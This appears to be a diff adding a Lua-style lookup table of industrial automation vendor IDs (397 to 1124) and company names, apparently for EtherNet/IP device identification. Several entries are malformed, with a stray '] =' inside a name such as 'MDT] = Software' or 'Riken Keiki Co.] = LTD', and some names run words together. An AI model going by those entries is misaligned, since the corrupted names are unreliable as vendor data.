+ [397] = "PACE Control Systems",
+ [398] = "Selectron Systems AG",
+ [399] = "Reserved",
+ [400] = "LINTEC Co.Ltd.",
+ [401] = "Hitachi Cable Ltd.",
+ [402] = "BUSWARE Direct",
+ [403] = "Eaton Electric B.V. (former Holec Holland N.V.)",
+ [404] = "VAT Vakuumventile AG",
+ [405] = "Scientific Technologies Incorporated",
+ [406] = "Alfa Instrumentos Eletronicos Ltda",
+ [407] = "TWK Elektronik GmbH",
+ [408] = "ABB Welding Systems AB",
+ [409] = "BYSTRONIC Maschinen AG",
+ [410] = "Kimura Electric Co.Ltd",
+ [411] = "Nissei Plastic Industrial Co.Ltd",
+ [412] = "Reserved",
+ [413] = "Kistler-Morse Corporation",
+ [414] = "Proteous Industries Inc.",
+ [415] = "IDC Corporation",
+ [416] = "Nordson Corporation",
+ [417] = "Rapistan Systems",
+ [418] = "LP-Elektronik GmbH",
+ [419] = "GERBI & FASE S.p.A.(Fase Saldatura)",
+ [420] = "Phoenix Digital Corporation",
+ [421] = "Z-World Engineering",
+ [422] = "Honda R&D Co.Ltd.",
+ [423] = "Bionics Instrument Co.Ltd.",
+ [424] = "Teknic Inc.",
+ [425] = "R.Stahl Inc.",
+ [426] = "Reserved",
+ [427] = "Ryco Graphic Manufacturing Inc.",
+ [428] = "Giddings & Lewis Inc.",
+ [429] = "Koganei Corporation",
+ [430] = "Reserved",
+ [431] = "Nichigoh Communication Electric Wire Co.Ltd.",
+ [432] = "Reserved",
+ [433] = "Fujikura Ltd.",
+ [434] = "AD Link Technology Inc.",
+ [435] = "StoneL Corporation",
+ [436] = "Computer Optical Products Inc.",
+ [437] = "CONOS Inc.",
+ [438] = "Erhardt + Leimer GmbH",
+ [439] = "UNIQUE Co. Ltd",
+ [440] = "Roboticsware Inc.",
+ [441] = "Nachi Fujikoshi Corporation",
+ [442] = "Hengstler GmbH",
+ [443] = "Vacon Plc",
+ [444] = "SUNNY GIKEN Inc.",
+ [445] = "Lenze Drive Systems GmbH",
+ [446] = "CD Systems B.V.",
+ [447] = "FMT/Aircraft Gate Support Systems AB",
+ [448] = "Axiomatic Technologies Corp",
+ [449] = "Embedded System Products Inc.",
+ [450] = "Reserved",
+ [451] = "Mencom Corporation",
+ [452] = "Kollmorgen",
+ [453] = "Matsushita Welding Systems Co.Ltd.",
+ [454] = "Dengensha Mfg. Co. Ltd.",
+ [455] = "Quinn Systems Ltd.",
+ [456] = "Tellima Technology Ltd",
+ [457] = "MDT] = Software",
+ [458] = "Taiwan Keiso Co.Ltd",
+ [459] = "Pinnacle Systems",
+ [460] = "Ascom Hasler Mailing Sys",
+ [461] = "INSTRUMAR Limited",
+ [462] = "Reserved",
+ [463] = "Navistar International Transportation Corp",
+ [464] = "Huettinger Elektronik GmbH + Co. KG",
+ [465] = "OCM Technology Inc.",
+ [466] = "Professional Supply Inc.",
+ [467] = "Control Solutions",
+ [468] = "Baumer IVO GmbH & Co. KG",
+ [469] = "Worcester Controls Corporation",
+ [470] = "Pyramid Technical Consultants Inc.",
+ [471] = "Eilersen Electric A/S",
+ [472] = "Apollo Fire Detectors Limited",
+ [473] = "Avtron Manufacturing Inc.",
+ [474] = "Reserved",
+ [475] = "Tokyo Keiso Co.Ltd.",
+ [476] = "Daishowa Swiki Co.Ltd.",
+ [477] = "Kojima Instruments Inc.",
+ [478] = "Shimadzu Corporation",
+ [479] = "Tatsuta Electric Wire & Cable Co.Ltd.",
+ [480] = "MECS Corporation",
+ [481] = "Tahara Electric",
+ [482] = "Koyo Electronics",
+ [483] = "Clever Devices",
+ [484] = "GCD Hardware & Software GmbH",
+ [485] = "Reserved",
+ [486] = "Miller Electric Mfg Co.",
+ [487] = "GEA Tuchenhagen GmbH",
+ [488] = "Riken Keiki Co.] = LTD",
+ [489] = "Keisokugiken Corporation",
+ [490] = "Fuji Machine Mfg. Co.Ltd",
+ [491] = "Reserved",
+ [492] = "Nidec-Shimpo Corp.",
+ [493] = "UTEC Corporation",
+ [494] = "Sanyo Electric Co. Ltd.",
+ [495] = "Reserved",
+ [496] = "Reserved",
+ [497] = "Okano Electric Wire Co. Ltd",
+ [498] = "Shimaden Co. Ltd.",
+ [499] = "Teddington Controls Ltd",
+ [500] = "Reserved",
+ [501] = "VIPA GmbH",
+ [502] = "Warwick Manufacturing Group",
+ [503] = "Danaher Controls",
+ [504] = "Reserved",
+ [505] = "Reserved",
+ [506] = "American Science & Engineering",
+ [507] = "Accutron Controls International Inc.",
+ [508] = "Norcott Technologies Ltd",
+ [509] = "TB Woods Inc",
+ [510] = "Proportion-Air Inc.",
+ [511] = "SICK Stegmann GmbH",
+ [512] = "Reserved",
+ [513] = "Edwards Signaling",
+ [514] = "Sumitomo Metal IndustriesLtd",
+ [515] = "Cosmo Instruments Co.Ltd.",
+ [516] = "Denshosha Co.Ltd.",
+ [517] = "Kaijo Corp.",
+ [518] = "Michiproducts Co.Ltd.",
+ [519] = "Miura Corporation",
+ [520] = "TG Information Network Co.Ltd.",
+ [521] = "Fujikin Inc.",
+ [522] = "Estic Corp.",
+ [523] = "GS Hydraulic Sales",
+ [524] = "Leuze Electronic GmbH & Co. KG",
+ [525] = "MTE Limited",
+ [526] = "Hyde Park Electronics Inc.",
+ [527] = "Pfeiffer Vacuum GmbH",
+ [528] = "Cyberlogic Technologies",
+ [529] = "OKUMA Corporation FA Systems Division",
+ [530] = "Reserved",
+ [531] = "Hitachi Kokusai Electric Co.Ltd.",
+ [532] = "SHINKO TECHNOS Co.Ltd.",
+ [533] = "Itoh Electric Co.Ltd.",
+ [534] = "Colorado Flow Tech Inc.",
+ [535] = "Love Controls Division/Dwyer Inst.",
+ [536] = "Alstom Drives and Controls",
+ [537] = "The Foxboro Company",
+ [538] = "Tescom Corporation",
+ [539] = "Reserved",
+ [540] = "Atlas Copco Controls UK",
+ [541] = "Reserved",
+ [542] = "Autojet Technologies",
+ [543] = "Prima Electronics S.p.A.",
+ [544] = "PMA GmbH",
+ [545] = "Shimafuji Electric Co.Ltd",
+ [546] = "Oki Electric Industry Co.Ltd",
+ [547] = "Kyushu Matsushita Electric Co.Ltd",
+ [548] = "Nihon Electric Wire & Cable Co.Ltd",
+ [549] = "Tsuken Electric Ind Co.Ltd",
+ [550] = "Tamadic Co.",
+ [551] = "MAATEL SA",
+ [552] = "OKUMA America",
+ [553] = "Control Techniques PLC-NA",
+ [554] = "TPC Wire & Cable",
+ [555] = "ATI Industrial Automation",
+ [556] = "Microcontrol (Australia) Pty Ltd",
+ [557] = "Serra Soldadura] = S.A.",
+ [558] = "Southwest Research Institute",
+ [559] = "Cabinplant International",
+ [560] = "Sartorius Mechatronics T&H GmbH",
+ [561] = "Comau S.p.A. Robotics & Final Assembly Division",
+ [562] = "Phoenix Contact",
+ [563] = "Yokogawa MAT Corporation",
+ [564] = "asahi sangyo co.] = ltd.",
+ [565] = "Reserved",
+ [566] = "Akita Myotoku Ltd.",
+ [567] = "OBARA Corp.",
+ [568] = "Suetron Electronic GmbH",
+ [569] = "Reserved",
+ [570] = "Serck Controls Limited",
+ [571] = "Fairchild Industrial Products Company",
+ [572] = "ARO S.A.",
+ [573] = "M2C GmbH",
+ [574] = "Shin Caterpillar Mitsubishi Ltd.",
+ [575] = "Santest Co.Ltd.",
+ [576] = "Cosmotechs Co.Ltd.",
+ [577] = "Hitachi Electric Systems",
+ [578] = "Smartscan Ltd",
+ [579] = "Woodhead Software & Electronics France",
+ [580] = "Athena Controls Inc.",
+ [581] = "Syron Engineering & Manufacturing Inc.",
+ [582] = "Asahi Optical Co.Ltd.",
+ [583] = "Sansha Electric Mfg. Co.Ltd.",
+ [584] = "Nikki Denso Co.Ltd.",
+ [585] = "Star Micronics] = Co.Ltd.",
+ [586] = "Ecotecnia Socirtat Corp.",
+ [587] = "AC Technology Corp.",
+ [588] = "West Instruments Limited",
+ [589] = "NTI Limited",
+ [590] = "Delta Computer Systems Inc.",
+ [591] = "FANUC Ltd.",
+ [592] = "Hearn-Gu Lee",
+ [593] = "ABB Automation Products",
+ [594] = "Orion Machinery Co.Ltd.",
+ [595] = "Reserved",
+ [596] = "Wire-Pro Inc.",
+ [597] = "Beijing Huakong Technology Co. Ltd.",
+ [598] = "Yokoyama Shokai Co.Ltd.",
+ [599] = "Toyogiken Co.Ltd.",
+ [600] = "Coester Equipamentos Eletronicos Ltda.",
+ [601] = "Kawasaki Heavy Industries, Ltd.",
+ [602] = "Electroplating Engineers of Japan Ltd.",
+ [603] = "ROBOX S.p.A.",
+ [604] = "Spraying Systems Company",
+ [605] = "Benshaw Inc.",
+ [606] = "ZPA-DP A.S.",
+ [607] = "Wired Rite Systems",
+ [608] = "Tandis Research Inc.",
+ [609] = "SSD Drives GmbH",
+ [610] = "ULVAC Japan Ltd.",
+ [611] = "DYNAX Corporation",
+ [612] = "Nor-Cal Products Inc.",
+ [613] = "Aros Electronics AB",
+ [614] = "Jun-Tech Co.Ltd.",
+ [615] = "HAN-MI Co. Ltd.",
+ [616] = "uniNtech (formerly SungGi Internet)",
+ [617] = "Hae Pyung Electronics Reserch Institute",
+ [618] = "Milwaukee Electronics",
+ [619] = "OBERG Industries",
+ [620] = "Parker Hannifin/Compumotor Division",
+ [621] = "TECHNO DIGITAL CORPORATION",
+ [622] = "Network Supply Co.Ltd.",
+ [623] = "Union Electronics Co.Ltd.",
+ [624] = "Tritronics Services PM Ltd.",
+ [625] = "Rockwell Automation-Sprecher+Schuh",
+ [626] = "Matsushita Electric Industrial Co.Ltd/Motor Co.",
+ [627] = "Rolls-Royce Energy Systems Inc.",
+ [628] = "JEONGIL INTERCOM CO.] = LTD",
+ [629] = "Interroll Corp.",
+ [630] = "Hubbell Wiring Device-Kellems (Delaware)",
+ [631] = "Intelligent Motion Systems",
+ [632] = "Reserved",
+ [633] = "INFICON AG",
+ [634] = "Hirschmann Inc.",
+ [635] = "The Siemon Company",
+ [636] = "YAMAHA Motor Co. Ltd.",
+ [637] = "aska corporation",
+ [638] = "Woodhead Connectivity",
+ [639] = "Trimble AB",
+ [640] = "Murrelektronik GmbH",
+ [641] = "Creatrix Labs Inc.",
+ [642] = "TopWorx",
+ [643] = "Kumho Industrial Co.Ltd.",
+ [644] = "Wind River Systems Inc.",
+ [645] = "Bihl & Wiedemann GmbH",
+ [646] = "Harmonic Drive Systems Inc.",
+ [647] = "Rikei Corporation",
+ [648] = "BL AutotecLtd.",
+ [649] = "Hana Information & Technology Co.Ltd.",
+ [650] = "Seoil Electric Co.Ltd.",
+ [651] = "Fife Corporation",
+ [652] = "Shanghai Electrical Apparatus Research Institute",
+ [653] = "Detector Electronics",
+ [654] = "Parasense Development Centre",
+ [655] = "Reserved",
+ [656] = "Reserved",
+ [657] = "Six Tau S.p.A.",
+ [658] = "Aucos GmbH",
+ [659] = "Rotork Controls",
+ [660] = "Automationdirect.com",
+ [661] = "Thermo BLH",
+ [662] = "System ControlsLtd.",
+ [663] = "Univer S.p.A.",
+ [664] = "MKS-Tenta Technology",
+ [665] = "Lika Electronic SNC",
+ [666] = "Mettler-Toledo Inc.",
+ [667] = "DXL USA Inc.",
+ [668] = "Rockwell Automation/Entek IRD Intl.",
+ [669] = "Nippon Otis Elevator Company",
+ [670] = "Sinano Electric] = Co.Ltd.",
+ [671] = "Sony Manufacturing Systems",
+ [672] = "Reserved",
+ [673] = "Contec Co.Ltd.",
+ [674] = "Automated Solutions",
+ [675] = "Controlweigh",
+ [676] = "Reserved",
+ [677] = "Fincor Electronics",
+ [678] = "Cognex Corporation",
+ [679] = "Qualiflow",
+ [680] = "Weidmuller Inc.",
+ [681] = "Morinaga Milk Industry Co.Ltd.",
+ [682] = "Takagi Industrial Co.Ltd.",
+ [683] = "Wittenstein AG",
+ [684] = "Sena Technologies Inc.",
+ [685] = "Reserved",
+ [686] = "APV Products Unna",
+ [687] = "Creator Teknisk Utvedkling AB",
+ [688] = "Reserved",
+ [689] = "Mibu Denki Industrial Co.Ltd.",
+ [690] = "Takamastsu Machineer Section",
+ [691] = "Startco Engineering Ltd.",
+ [692] = "Reserved",
+ [693] = "Holjeron",
+ [694] = "ALCATEL High Vacuum Technology",
+ [695] = "Taesan LCD Co.Ltd.",
+ [696] = "POSCON",
+ [697] = "VMIC",
+ [698] = "Matsushita Electric WorksLtd.",
+ [699] = "IAI Corporation",
+ [700] = "Horst GmbH",
+ [701] = "MicroControl GmbH & Co.",
+ [702] = "Leine & Linde AB",
+ [703] = "Reserved",
+ [704] = "EC Elettronica Srl",
+ [705] = "VIT Software HB",
+ [706] = "Bronkhorst High-Tech B.V.",
+ [707] = "Optex Co.Ltd.",
+ [708] = "Yosio Electronic Co.",
+ [709] = "Terasaki Electric Co.Ltd.",
+ [710] = "Sodick Co.Ltd.",
+ [711] = "MTS Systems Corporation-Automation Division",
+ [712] = "Mesa Systemtechnik",
+ [713] = "SHIN HO SYSTEM Co.Ltd.",
+ [714] = "Goyo Electronics CoLtd.",
+ [715] = "Loreme",
+ [716] = "SAB Brockskes GmbH & Co. KG",
+ [717] = "Trumpf Laser GmbH + Co. KG",
+ [718] = "Niigata Electronic Instruments Co.Ltd.",
+ [719] = "Yokogawa Digital Computer Corporation",
+ [720] = "O.N. Electronic Co.Ltd.",
+ [721] = "Industrial Control Communication Inc.",
+ [722] = "ABB Inc.",
+ [723] = "ElectroWave USA Inc.",
+ [724] = "Industrial Network Controls] = LLC",
+ [725] = "KDT Systems Co.Ltd.",
+ [726] = "SEFA Technology Inc.",
+ [727] = "Nippon POP Rivets and Fasteners Ltd.",
+ [728] = "Yamato Scale Co.Ltd.",
+ [729] = "Zener Electric",
+ [730] = "GSE Scale Systems",
+ [731] = "ISAS (Integrated Switchgear & Sys. Pty Ltd)",
+ [732] = "Beta LaserMike Limited",
+ [733] = "TOEI Electric Co.Ltd.",
+ [734] = "Hakko Electronics Co.Ltd",
+ [735] = "Reserved",
+ [736] = "RFID Inc.",
+ [737] = "Adwin Corporation",
+ [738] = "Osaka VacuumLtd.",
+ [739] = "A-Kyung Motion Inc.",
+ [740] = "Camozzi S.P. A.",
+ [741] = "Crevis Co.] = LTD",
+ [742] = "Rice Lake Weighing Systems",
+ [743] = "Linux Network Services",
+ [744] = "KEB Antriebstechnik GmbH",
+ [745] = "Hagiwara Electric Co.Ltd.",
+ [746] = "Glass Inc. International",
+ [747] = "Reserved",
+ [748] = "DVT Corporation",
+ [749] = "Woodward Governor",
+ [750] = "Mosaic Systems Inc.",
+ [751] = "Laserline GmbH",
+ [752] = "COM-TEC Inc.",
+ [753] = "Weed Instrument",
+ [754] = "Prof-face European Technology Center",
+ [755] = "Fuji Automation Co.Ltd.",
+ [756] = "Matsutame Co.Ltd.",
+ [757] = "Hitachi Via MechanicsLtd.",
+ [758] = "Dainippon Screen Mfg. Co. Ltd.",
+ [759] = "FLS Automation A/S",
+ [760] = "ABB Stotz Kontakt GmbH",
+ [761] = "Technical Marine Service",
+ [762] = "Advanced Automation Associates Inc.",
+ [763] = "Baumer Ident GmbH",
+ [764] = "Tsubakimoto Chain Co.",
+ [765] = "Reserved",
+ [766] = "Furukawa Co.Ltd.",
+ [767] = "Active Power",
+ [768] = "CSIRO Mining Automation",
+ [769] = "Matrix Integrated Systems",
+ [770] = "Digitronic Automationsanlagen GmbH",
+ [771] = "SICK STEGMANN Inc.",
+ [772] = "TAE-Antriebstechnik GmbH",
+ [773] = "Electronic Solutions",
+ [774] = "Rocon L.L.C.",
+ [775] = "Dijitized Communications Inc.",
+ [776] = "Asahi Organic Chemicals Industry Co.Ltd.",
+ [777] = "Hodensha",
+ [778] = "Harting Inc. NA",
+ [779] = "Kubler GmbH",
+ [780] = "Yamatake Corporation",
+ [781] = "JEOL",
+ [782] = "Yamatake Industrial Systems Co.Ltd.",
+ [783] = "HAEHNE Elektronische Messgerate GmbH",
+ [784] = "Ci Technologies Pty Ltd (for Pelamos Industries)",
+ [785] = "N. SCHLUMBERGER & CIE",
+ [786] = "Teijin Seiki Co.Ltd.",
+ [787] = "DAIKIN IndustriesLtd",
+ [788] = "RyuSyo Industrial Co.Ltd.",
+ [789] = "SAGINOMIYA SEISAKUSHO] = INC.",
+ [790] = "Seishin Engineering Co.Ltd.",
+ [791] = "Japan Support System Ltd.",
+ [792] = "Decsys",
+ [793] = "Metronix Messgerate u. Elektronik GmbH",
+ [794] = "ROPEX Industrie - Elektronik GmbH",
+ [795] = "Vaccon Company Inc.",
+ [796] = "Siemens Energy & Automation Inc.",
+ [797] = "Ten X Technology Inc.",
+ [798] = "Tyco Electronics",
+ [799] = "Delta Power Electronics Center",
+ [800] = "Denker",
+ [801] = "Autonics Corporation",
+ [802] = "JFE Electronic Engineering Pty. Ltd.",
+ [803] = "Reserved",
+ [804] = "Electro-Sensors Inc.",
+ [805] = "Digi International Inc.",
+ [806] = "Texas Instruments",
+ [807] = "ADTEC Plasma Technology Co.Ltd",
+ [808] = "SICK AG",
+ [809] = "Ethernet Peripherals Inc.",
+ [810] = "Animatics Corporation",
+ [811] = "Reserved",
+ [812] = "Process Control Corporation",
+ [813] = "SystemV. Inc.",
+ [814] = "Danaher Motion SRL",
+ [815] = "SHINKAWA Sensor Technology Inc.",
+ [816] = "Tesch GmbH & Co. KG",
+ [817] = "Reserved",
+ [818] = "Trend Controls Systems Ltd.",
+ [819] = "Guangzhou ZHIYUAN Electronic Co.Ltd.",
+ [820] = "Mykrolis Corporation",
+ [821] = "Bethlehem Steel Corporation",
+ [822] = "KK ICP",
+ [823] = "Takemoto Denki Corporation",
+ [824] = "The Montalvo Corporation",
+ [825] = "Reserved",
+ [826] = "LEONI Special Cables GmbH",
+ [827] = "Reserved",
+ [828] = "ONO SOKKI CO.,LTD.",
+ [829] = "Rockwell Samsung Automation",
+ [830] = "SHINDENGEN ELECTRIC MFG. CO. LTD",
+ [831] = "Origin Electric Co. Ltd.",
+ [832] = "Quest Technical Solutions Inc.",
+ [833] = "LS CableLtd.",
+ [834] = "Enercon-Nord Electronic GmbH",
+ [835] = "Northwire Inc.",
+ [836] = "Engel Elektroantriebe GmbH",
+ [837] = "The Stanley Works",
+ [838] = "Celesco Transducer Products Inc.",
+ [839] = "Chugoku Electric Wire and Cable Co.",
+ [840] = "Kongsberg Simrad AS",
+ [841] = "Panduit Corporation",
+ [842] = "Spellman High Voltage Electronics Corp.",
+ [843] = "Kokusai Electric Alpha Co.Ltd.",
+ [844] = "Brooks Automation Inc.",
+ [845] = "ANYWIRE CORPORATION",
+ [846] = "Honda Electronics Co. Ltd",
+ [847] = "REO Elektronik AG",
+ [848] = "Fusion UV Systems Inc.",
+ [849] = "ASI Advanced Semiconductor Instruments GmbH",
+ [850] = "Datalogic Inc.",
+ [851] = "SoftPLC Corporation",
+ [852] = "Dynisco Instruments LLC",
+ [853] = "WEG Industrias SA",
+ [854] = "Frontline Test Equipment Inc.",
+ [855] = "Tamagawa Seiki Co.Ltd.",
+ [856] = "Multi Computing Co.Ltd.",
+ [857] = "RVSI",
+ [858] = "Commercial Timesharing Inc.",
+ [859] = "Tennessee Rand Automation LLC",
+ [860] = "Wacogiken Co.Ltd",
+ [861] = "Reflex Integration Inc.",
+ [862] = "Siemens AG] = A&D PI Flow Instruments",
+ [863] = "G. Bachmann Electronic GmbH",
+ [864] = "NT International",
+ [865] = "Schweitzer Engineering Laboratories",
+ [866] = "ATR Industrie-Elektronik GmbH Co.",
+ [867] = "PLASMATECH Co.Ltd",
+ [868] = "Reserved",
+ [869] = "GEMU GmbH & Co. KG",
+ [870] = "Alcorn McBride Inc.",
+ [871] = "MORI SEIKI CO.] = LTD",
+ [872] = "NodeTech Systems Ltd",
+ [873] = "Emhart Teknologies",
+ [874] = "Cervis Inc.",
+ [875] = "FieldServer Technologies (Div Sierra Monitor Corp)",
+ [876] = "NEDAP Power Supplies",
+ [877] = "Nippon Sanso Corporation",
+ [878] = "Mitomi Giken Co.Ltd.",
+ [879] = "PULS GmbH",
+ [880] = "Reserved",
+ [881] = "Japan Control Engineering Ltd",
+ [882] = "Embedded Systems Korea (Former Zues Emtek Co Ltd.)",
+ [883] = "Automa SRL",
+ [884] = "Harms+Wende GmbH & Co KG",
+ [885] = "SAE-STAHL GmbH",
+ [886] = "Microwave Data Systems",
+ [887] = "Bernecker + Rainer Industrie-Elektronik GmbH",
+ [888] = "Hiprom Technologies",
+ [889] = "Reserved",
+ [890] = "Nitta Corporation",
+ [891] = "Kontron Modular Computers GmbH",
+ [892] = "Marlin Controls",
+ [893] = "ELCIS s.r.l.",
+ [894] = "Acromag Inc.",
+ [895] = "Avery Weigh-Tronix",
+ [896] = "Reserved",
+ [897] = "Reserved",
+ [898] = "Reserved",
+ [899] = "Practicon Ltd",
+ [900] = "Schunk GmbH & Co. KG",
+ [901] = "MYNAH Technologies",
+ [902] = "Defontaine Groupe",
+ [903] = "Emerson Process Management Power & Water Solutions",
+ [904] = "F.A. Elec",
+ [905] = "Hottinger Baldwin Messtechnik GmbH",
+ [906] = "Coreco Imaging Inc.",
+ [907] = "London Electronics Ltd.",
+ [908] = "HSD SpA",
+ [909] = "Comtrol Corporation",
+ [910] = "TEAM] = S.A. (Tecnica Electronica de Automatismo Y Medida)",
+ [911] = "MAN B&W Diesel Ltd. Regulateurs Europa",
+ [912] = "Reserved",
+ [913] = "Reserved",
+ [914] = "Micro Motion Inc.",
+ [915] = "Eckelmann AG",
+ [916] = "Hanyoung Nux",
+ [917] = "Ransburg Industrial Finishing KK",
+ [918] = "Kun Hung Electric Co. Ltd.",
+ [919] = "Brimos wegbebakening b.v.",
+ [920] = "Nitto Seiki Co.Ltd",
+ [921] = "PPT Vision Inc.",
+ [922] = "Yamazaki Machinery Works",
+ [923] = "SCHMIDT Technology GmbH",
+ [924] = "Parker Hannifin SpA (SBC Division)",
+ [925] = "HIMA Paul Hildebrandt GmbH",
+ [926] = "RivaTek Inc.",
+ [927] = "Misumi Corporation",
+ [928] = "GE Multilin",
+ [929] = "Measurement Computing Corporation",
+ [930] = "Jetter AG",
+ [931] = "Tokyo Electronics Systems Corporation",
+ [932] = "Togami Electric Mfg. Co.Ltd.",
+ [933] = "HK Systems",
+ [934] = "CDA Systems Ltd.",
+ [935] = "Aerotech Inc.",
+ [936] = "JVL Industrie Elektronik A/S",
+ [937] = "NovaTech Process Solutions LLC",
+ [938] = "Reserved",
+ [939] = "Cisco Systems",
+ [940] = "Grid Connect",
+ [941] = "ITW Automotive Finishing",
+ [942] = "HanYang System",
+ [943] = "ABB K.K. Technical Center",
+ [944] = "Taiyo Electric Wire & Cable Co.Ltd.",
+ [945] = "Reserved",
+ [946] = "SEREN IPS INC",
+ [947] = "Belden CDT Electronics Division",
+ [948] = "ControlNet International",
+ [949] = "Gefran S.P.A.",
+ [950] = "Jokab Safety AB",
+ [951] = "SUMITA OPTICAL GLASS] = INC.",
+ [952] = "Biffi Italia srl",
+ [953] = "Beck IPC GmbH",
+ [954] = "Copley Controls Corporation",
+ [955] = "Fagor Automation S. Coop.",
+ [956] = "DARCOM",
+ [957] = "Frick Controls (div. of York International)",
+ [958] = "SymCom Inc.",
+ [959] = "Infranor",
+ [960] = "Kyosan CableLtd.",
+ [961] = "Varian Vacuum Technologies",
+ [962] = "Messung Systems",
+ [963] = "Xantrex Technology Inc.",
+ [964] = "StarThis Inc.",
+ [965] = "Chiyoda Co.Ltd.",
+ [966] = "Flowserve Corporation",
+ [967] = "Spyder Controls Corp.",
+ [968] = "IBA AG",
+ [969] = "SHIMOHIRA ELECTRIC MFG.CO.,LTD",
+ [970] = "Reserved",
+ [971] = "Siemens L&A",
+ [972] = "Micro Innovations AG",
+ [973] = "Switchgear & Instrumentation",
+ [974] = "PRE-TECH CO.] = LTD.",
+ [975] = "National Semiconductor",
+ [976] = "Invensys Process Systems",
+ [977] = "Ametek HDR Power Systems",
+ [978] = "Reserved",
+ [979] = "TETRA-K Corporation",
+ [980] = "C & M Corporation",
+ [981] = "Siempelkamp Maschinen",
+ [982] = "Reserved",
+ [983] = "Daifuku America Corporation",
+ [984] = "Electro-Matic Products Inc.",
+ [985] = "BUSSAN MICROELECTRONICS CORP.",
+ [986] = "ELAU AG",
+ [987] = "Hetronic USA",
+ [988] = "NIIGATA POWER SYSTEMS Co.Ltd.",
+ [989] = "Software Horizons Inc.",
+ [990] = "B3 Systems Inc.",
+ [991] = "Moxa Networking Co.Ltd.",
+ [992] = "Reserved",
+ [993] = "S4 Integration",
+ [994] = "Elettro Stemi S.R.L.",
+ [995] = "AquaSensors",
+ [996] = "Ifak System GmbH",
+ [997] = "SANKEI MANUFACTURING Co.,LTD.",
+ [998] = "Emerson Network Power Co.Ltd.",
+ [999] = "Fairmount Automation Inc.",
+ [1000] = "Bird Electronic Corporation",
+ [1001] = "Nabtesco Corporation",
+ [1002] = "AGM Electronics Inc.",
+ [1003] = "ARCX Inc.",
+ [1004] = "DELTA I/O Co.",
+ [1005] = "Chun IL Electric Ind. Co.",
+ [1006] = "N-Tron",
+ [1007] = "Nippon Pneumatics/Fludics System CO.,LTD.",
+ [1008] = "DDK Ltd.",
+ [1009] = "Seiko Epson Corporation",
+ [1010] = "Halstrup-Walcher GmbH",
+ [1011] = "ITT",
+ [1012] = "Ground Fault Systems bv",
+ [1013] = "Scolari Engineering S.p.A.",
+ [1014] = "Vialis Traffic bv",
+ [1015] = "Weidmueller Interface GmbH & Co. KG",
+ [1016] = "Shanghai Sibotech Automation Co. Ltd",
+ [1017] = "AEG Power Supply Systems GmbH",
+ [1018] = "Komatsu Electronics Inc.",
+ [1019] = "Souriau",
+ [1020] = "Baumuller Chicago Corp.",
+ [1021] = "J. Schmalz GmbH",
+ [1022] = "SEN Corporation",
+ [1023] = "Korenix Technology Co. Ltd",
+ [1024] = "Cooper Power Tools",
+ [1025] = "INNOBIS",
+ [1026] = "Shinho System",
+ [1027] = "Xm Services Ltd.",
+ [1028] = "KVC Co.Ltd.",
+ [1029] = "Sanyu Seiki Co.Ltd.",
+ [1030] = "TuxPLC",
+ [1031] = "Northern Network Solutions",
+ [1032] = "Converteam GmbH",
+ [1033] = "Symbol Technologies",
+ [1034] = "S-TEAM Lab",
+ [1035] = "Maguire Products Inc.",
+ [1036] = "AC&T",
+ [1037] = "MITSUBISHI HEAVY INDUSTRIES] = LTD. KOBE SHIPYARD & MACHINERY WORKS",
+ [1038] = "Hurletron Inc.",
+ [1039] = "Chunichi Denshi Co.Ltd",
+ [1040] = "Cardinal Scale Mfg. Co.",
+ [1041] = "BTR NETCOM via RIA Connect Inc.",
+ [1042] = "Base2",
+ [1043] = "ASRC Aerospace",
+ [1044] = "Beijing Stone Automation",
+ [1045] = "Changshu Switchgear Manufacture Ltd.",
+ [1046] = "METRONIX Corp.",
+ [1047] = "WIT",
+ [1048] = "ORMEC Systems Corp.",
+ [1049] = "ASATech (China) Inc.",
+ [1050] = "Controlled Systems Limited",
+ [1051] = "Mitsubishi Heavy Ind. Digital System Co.Ltd. (M.H.I.)",
+ [1052] = "Electrogrip",
+ [1053] = "TDS Automation",
+ [1054] = "T&C Power Conversion Inc.",
+ [1055] = "Robostar Co.Ltd",
+ [1056] = "Scancon A/S",
+ [1057] = "Haas Automation Inc.",
+ [1058] = "Eshed Technology",
+ [1059] = "Delta Electronic Inc.",
+ [1060] = "Innovasic Semiconductor",
+ [1061] = "SoftDEL Systems Limited",
+ [1062] = "FiberFin Inc.",
+ [1063] = "Nicollet Technologies Corp.",
+ [1064] = "B.F. Systems",
+ [1065] = "Empire Wire and Supply LLC",
+ [1066] = "ENDO KOGYO CO., LTD",
+ [1067] = "Elmo Motion Control LTD",
+ [1068] = "Reserved",
+ [1069] = "Asahi Keiki Co.Ltd.",
+ [1070] = "Joy Mining Machinery",
+ [1071] = "MPM Engineering Ltd",
+ [1072] = "Wolke Inks & Printers GmbH",
+ [1073] = "Mitsubishi Electric Engineering Co.Ltd.",
+ [1074] = "COMET AG",
+ [1075] = "Real Time Objects & Systems] = LLC",
+ [1076] = "MISCO Refractometer",
+ [1077] = "JT Engineering Inc.",
+ [1078] = "Automated Packing Systems",
+ [1079] = "Niobrara R&D Corp.",
+ [1080] = "Garmin Ltd.",
+ [1081] = "Japan Mobile Platform Co.Ltd",
+ [1082] = "Advosol Inc.",
+ [1083] = "ABB Global Services Limited",
+ [1084] = "Sciemetric Instruments Inc.",
+ [1085] = "Tata Elxsi Ltd.",
+ [1086] = "TPC Mechatronics] = Co.Ltd.",
+ [1087] = "Cooper Bussmann",
+ [1088] = "Trinite Automatisering B.V.",
+ [1089] = "Peek Traffic B.V.",
+ [1090] = "Acrison Inc",
+ [1091] = "Applied Robotics Inc.",
+ [1092] = "FireBus Systems Inc.",
+ [1093] = "Beijing Sevenstar Huachuang Electronics",
+ [1094] = "Magnetek",
+ [1095] = "Microscan",
+ [1096] = "Air Water Inc.",
+ [1097] = "Sensopart Industriesensorik GmbH",
+ [1098] = "Tiefenbach Control Systems GmbH",
+ [1099] = "INOXPA S.A",
+ [1100] = "Zurich University of Applied Sciences",
+ [1101] = "Ethernet Direct",
+ [1102] = "GSI-Micro-E Systems",
+ [1103] = "S-Net Automation Co.Ltd.",
+ [1104] = "Power Electronics S.L.",
+ [1105] = "Renesas Technology Corp.",
+ [1106] = "NSWCCD-SSES",
+ [1107] = "Porter Engineering Ltd.",
+ [1108] = "Meggitt Airdynamics Inc.",
+ [1109] = "Inductive Automation",
+ [1110] = "Neural ID",
+ [1111] = "EEPod LLC",
+ [1112] = "Hitachi Industrial Equipment Systems Co.Ltd.",
+ [1113] = "Salem Automation",
+ [1114] = "port GmbH",
+ [1115] = "B & PLUS",
+ [1116] = "Graco Inc.",
+ [1117] = "Altera Corporation",
+ [1118] = "Technology Brewing Corporation",
+ [1121] = "CSE Servelec",
+ [1124] = "Fluke Networks",
